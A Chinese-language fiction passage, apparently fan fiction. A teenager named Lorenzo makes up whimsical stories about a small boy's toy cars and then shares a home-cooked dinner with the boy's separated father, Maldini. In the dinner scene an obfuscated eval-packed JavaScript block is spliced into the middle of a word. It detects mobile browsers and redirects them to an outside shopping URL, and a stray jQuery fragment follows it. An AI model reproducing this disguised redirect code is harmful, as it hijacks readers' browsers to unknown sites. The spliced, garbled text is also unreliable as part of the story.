克里斯蒂安的房间像被彩虹轰炸过。
墙壁是柔和的淡蓝色，但地上散落的玩具、绘本和那七八辆颜色扎眼的小汽车，构成了一片热闹的混乱。
小家伙一进屋就直奔他的宝贝车队，哗啦一下把它们推到洛伦佐脚边，然后一屁股坐在地毯上，仰起圆乎乎的小脸，眼睛里满是期待。
“Lollo，给它们起名字！”克里斯蒂安下达指令，小手拍着地板，“还要讲故事！每个都要！”
要是别的男孩被要求给玩具车起名字编故事，大概会挠头或者觉得幼稚。
但洛伦佐眼睛都没眨一下，“收到，长官！”他学着以前看过的电影里的样子，做了个不标准的举手礼，也跟着盘腿坐下。
洛伦佐随手抓起一辆红色的小车。“这个嘛，红得这么耀眼，像夏天最熟的草莓。它跑起来一定带着风，还有……嗯，草莓酱的香味！所以它叫‘草莓酱’！”
克里斯蒂安激动的直蹬腿，对这个名字显然很满意。
“至于故事，”洛伦佐把“草莓酱”放在地毯上，做出滑行的动作，“它可不是普通小车。它最喜欢在下午，趁大家睡午觉的时候，偷偷溜去城里。它知道所有最短的小路，能穿过只有猫咪才知道的窄巷。
有一天，它跑到城外的山坡上，看到一道彩虹正好落在草地上。你猜怎么着？它一下子冲过去，发现彩虹的尽头不是金子，是一大片真正的、没人摘过的草莓田！
它装了满满一车斗，虽然你看不见车斗，然后赶在太阳下山前溜回家，每个轮胎缝里都带着甜丝丝的草莓香。”
小家伙听得张大了嘴，然后咯咯笑起来，用力拍地毯：“系草莓！我也要！”
“轮到你了，给它找个搭档吧。”洛伦佐递过去一辆紫色的跑车。
克里斯蒂安接过，想了半天：“它……它叫‘葡萄’！”
“好名字！”洛伦佐接过“葡萄”，声音压低，做出神秘的样子。
“‘葡萄’是‘草莓酱’最好的朋友，但它喜欢安静。它总在半夜，等所有人都睡着了，才悄悄开出去。
它也不开大路，专找月光照得到的小路，慢慢地开。
你知道它去干嘛吗？它是去收集大家做的好梦。它车顶上有个小小的、银色的网兜，路过谁的窗口，如果那人在做好梦，梦里飘出来的泡泡就会被网兜接住。
然后，‘葡萄’就把这些亮晶晶的泡泡带到城外的向日葵田里，轻轻撒下去。第二天早上，向日葵就会开得特别大，每一片花瓣上都映着一点点梦的颜色。”
克里斯蒂安浅棕色的眼睛眨也不眨，好像真看到了那片撒满梦的向日葵田。
他紧紧抱着“葡萄”，小声说：“它今天晚上也会出去吗？”
“只要克里斯乖乖睡觉，说不定就能听到它路过的声音，呼——像一阵很小的风刮过。”洛伦佐煞有介事地点头。
已经完全被Lollo迷得神魂颠倒的小团子赶忙拿起一辆蓝色的小吉普车：“这个呢？这个呢？”
“这辆啊，”洛伦佐接过蓝色吉普，“它颜色像最深的海水，所以叫‘蓝宝石探险家’。
它也是不喜欢平坦的大路一员，专爱往有坑洼、有小石子、有积水的地方开。因为它总觉得，最好玩的东西都藏在大家不去的地方。
有一次下雨，它发现公园里一棵老树脚下有个小洞被水淹了，里面有一只甲虫妈妈和它的宝宝困住了。
‘蓝宝石’就小心翼翼地开过去，让甲虫妈妈带着宝宝爬到它的车顶上，然后把它们送到了干燥的树叶堆上。
你看它轮胎上的花纹，”洛伦佐指着玩具车廉价的塑料轮胎，“是不是特别粗？就是为了抓地救人用的！”
“它好厉害！”克里斯蒂安崇拜地看着那辆蓝色吉普，然后扑向下一辆绿色的卡车，“这个！讲这个！”
洛伦佐眉飞色舞地拿着那辆绿色小车准备开始即兴创作，是一个关于“菠菜大力士”（虽然克里斯蒂安很讨厌吃菠菜）的离奇故事。
就在这时，房门被轻轻敲了两下，然后推开了。
马尔蒂尼已经脱掉了之前的针织衫，只穿着一件简单的白色短袖。
他脸上带着笑意，目光扫过地毯上两个挨得很近的脑袋。“故事会的两位成员，晚餐准备好了。小车们也该进站补充能量了。”
克里斯蒂安立刻发出抗议的呜呜声，但洛伦佐的肚子很应景地轻响了一下。
他不好意思地拍拍肚皮，把绿色小车放回地毯上：“看来‘菠菜大力士’的故事要等下次了，它好像也饿了。”
餐厅的灯光是暖黄色的，照着铺了深蓝色桌布的方桌。三副餐具已经摆好，空气中弥漫着令人胃口大开的香气。
洛伦佐走近一看，眼睛立刻亮了。桌上摆着几道看起来很家常，但对他而言充满惊喜的菜。
一道是切成小块的烤鸡腿肉，表皮烤得金黄微焦，浸在一种浓稠的、颜色鲜亮的酱汁里，闻起来有明显的番茄和香草；
另一道是撒了大量奶酪碎、烤得边缘微微焦脆的意式烤蔬菜（茄子、西葫芦、彩椒）；还有一大盘淋着深色油醋汁的沙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265245|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉。主食则是简单的肉酱意面。
“哇！”洛伦佐忍不住发出小小的惊叹，看向正在给克里斯蒂安围上餐巾的马尔蒂尼，“队长，这些看起来都好好吃。”他尤其多看了几眼那道酸甜口的烤鸡。
“随便做了点。我记得你好像提过喜欢味道鲜明些的菜。”马尔蒂尼一边给克里斯蒂安围上餐巾，一边随口道，嘴角却有抹淡得几乎看不见的弧度。
他当然记得，在那些零零碎碎的联系里，洛伦佐抱怨过营养餐的清淡，会怀念地提起爷爷做的某道辣味菜，或者奶奶调的某种酸甜汁，然后咂咂嘴，说“就偶尔想想”。
那些孩子气的、关于口味的嘀咕，马尔蒂尼都听到了心里。今天这顿家常晚餐，他就想让这个被迫克制食欲的少年，能暂时放开享受一下。
把儿子安顿好，马尔蒂尼才坐下，他指了指那道烤鸡腿肉，“试试这个，阿德里亚娜（他的妻子）以前常做，我对着她留下的菜谱试了几次。”
他说得自然，洛伦佐却听出了话里那层温和的、已成过去的意味。
马尔蒂尼和妻子分开住快一年了，两岁的小儿子丹尼尔跟着妈妈生活。克里斯蒂安则和爸爸在一起。
这屋子里有许多属于家庭生活的痕迹——墙角的儿童书架，冰箱门上歪歪扭扭的蜡笔画，但现在确实只有他们父子常住。
男人的语气里没有抱怨或伤感，只是陈述一个事实，这让洛伦佐不知该如何接话，只是“哦”了一声，点点头。
马尔蒂尼似乎看出了他的细微局促，笑了笑：“不知道这次有没有成功。”
两个人说话的期间，克里斯蒂安已经熟练地叉起一块鸡肉塞进嘴里，鼓着腮帮子含糊地说：“好吃！爸爸练过的！”马尔蒂尼轻轻拍了下儿子的后脑勺：“好好咽下去再说话。”
洛伦佐夹起一块裹满酱汁的鸡肉送进嘴里。
烤得恰到好处的鸡肉嫩而多汁，酸甜的酱汁平衡得很好，带着新鲜番茄的微酸和香草的清香，还有一丝隐约的、让人食欲大开的复合香料味道。
“好吃！”他咽下去，由衷地称赞，眼睛弯了起来，像只晒到太阳的猫。
马尔蒂尼看着他毫不掩饰的满意表情，眼底的笑意深了些，自己也尝了一口。“那就好。多吃点，你还在长身体。”
餐桌上的氛围很轻松。
克里斯蒂安叽叽喳喳地说着幼儿园的事，洛伦佐则讲了点最近青训营里搞笑的事情，比如某个队友试图用足球砸下树上的果子结果球卡在了树杈上。马尔蒂尼大多时候听着，偶尔插几句话。